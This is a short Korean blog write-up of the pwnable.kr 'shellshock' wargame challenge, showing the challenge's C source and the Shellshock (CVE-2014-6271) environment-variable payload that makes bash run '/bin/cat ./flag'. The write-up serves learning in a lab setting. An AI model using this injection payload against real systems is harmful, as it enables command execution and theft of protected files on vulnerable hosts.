Security/System

[pwnable.kr] Toddler's Bottle - shellshock 문제

bonggang 2020. 6. 1. 20:35

문제


http://pwnable.kr/play.php

 

http://pwnable.kr/play.php

 

pwnable.kr

 

문제 풀이


0. ssh 접속

ssh shellshock@pwnable.kr -p2222

 

1. 파일 확인 및 소스코드 확인

- 파일목록

- 소스코드

#include <stdio.h>
int main(){
	setresuid(getegid(), getegid(), getegid());
	setresgid(getegid(), getegid(), getegid());
	system("/home/shellshock/bash -c 'echo shock_me'");
	return 0;
}

쉘쇼크 소스코드다. 시스템 함수로 bash를 실행시킨다.

 

2. 환경변수 설정

shellshock 공격인걸 알고있으니 환경변수를 설정해줬다.

export attack='() { echo attack; }; /bin/cat ./flag

 

-> 쉘쇼크에 대한 개념을 잡지못했다면 아래 블로그 글을 읽어봤으면 좋겠다.

https://operatingsystems.tistory.com/entry/Shellshock-CVE20146271

 

[Vul] Shellshock (CVE-2014-6271)

우선, 간략하게 CVE-2014-6271 일명 Bash shellshock 취약점에 대하여 설명하고자 한다. 이 취약점은 Akamai Technology의 Stephane Chazelas에 의해 발견되었다. CVE-2014-6271는 대부분의 Linux/Unix System에서..

operatingsystems.tistory.com

 

정답

 

참고 자료


https://code1018.tistory.com/178